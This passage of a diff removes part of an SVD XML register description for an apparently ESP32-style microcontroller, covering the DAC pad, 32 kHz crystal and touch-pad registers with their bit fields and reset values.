-            <field>
-              <name>PDAC1_RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC1_DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PAD_DAC2</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x80000000</resetValue>
-          <fields>
-            <field>
-              <name>PDAC2_DAC_XPD_FORCE</name>
-              <description>Power on DAC2. Usually  we need to tristate PDAC2 if we power on the DAC  i.e. IE=0  OE=0  RDE=0  RUE=0</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_XPD_DAC</name>
-              <description>Power on DAC2. Usually  we need to tristate PDAC1 if we power on the DAC  i.e. IE=0  OE=0  RDE=0  RUE=0</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_DAC</name>
-              <description>PAD DAC2 control code.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDAC2_DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>XTAL_32K_PAD</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x84100010</resetValue>
-          <fields>
-            <field>
-              <name>DBIAS_XTAL_32K</name>
-              <description>32K XTAL self-bias reference control.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRES_XTAL_32K</name>
-              <description>32K XTAL resistor bias control.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_XTAL_32K</name>
-              <description>Power up 32kHz crystal oscillator</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_XTAL_32K</name>
-              <description>32K XTAL bias current DAC.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32P_DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>X32N_DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_CFG</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x66000000</resetValue>
-          <fields>
-            <field>
-              <name>TOUCH_DCUR</name>
-              <description>touch sensor bias current. Should have option to tie with BIAS_SLEEP(When BIAS_SLEEP  this setting is available</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_DRANGE</name>
-              <description>touch sensor saw wave voltage range.</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_DREFL</name>
-              <description>touch sensor saw wave bottom voltage.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_DREFH</name>
-              <description>touch sensor saw wave top voltage.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_XPD_BIAS</name>
-              <description>touch sensor bias power on.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD0</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x52000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale GPIO4</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD1</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x4A000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale.GPIO0</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD2</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x52000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale.GPIO2</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD3</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x4A000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale.MTDO</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD4</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x52000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale.MTCK</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD5</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x52000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale.MTDI</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>the sleep status selection signal of the pad</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_SEL</name>
-              <description>the functional selection signal of the pad</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MUX_SEL</name>
-              <description>Ò1Ó select the digital function  Ó0Óslection the rtc function</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD</name>
-              <description>touch sensor power on.</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIE_OPT</name>
-              <description>default touch sensor tie option. 0: tie low  1: tie high.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START</name>
-              <description>start touch sensor.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC</name>
-              <description>touch sensor slope control. 3-bit for each touch panel  default 100.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RUE</name>
-              <description>the pull up enable of the pad</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RDE</name>
-              <description>the pull down enable of the pad</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DRV</name>
-              <description>the driver strength of the pad</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>hold the current value of the output when setting the hold to Ò1Ó</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TOUCH_PAD6</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x4A000000</resetValue>
-          <fields>
-            <field>
-              <name>TO_GPIO</name>
-              <description>connect the rtc pad input to digital pad input Ó0Ó is availbale.MTMS</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>the input enable of the pad</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_OE</name>
-              <description>the output enable of the pad in sleep status</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_IE</name>
-              <description>the input enable of the pad in sleep status</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
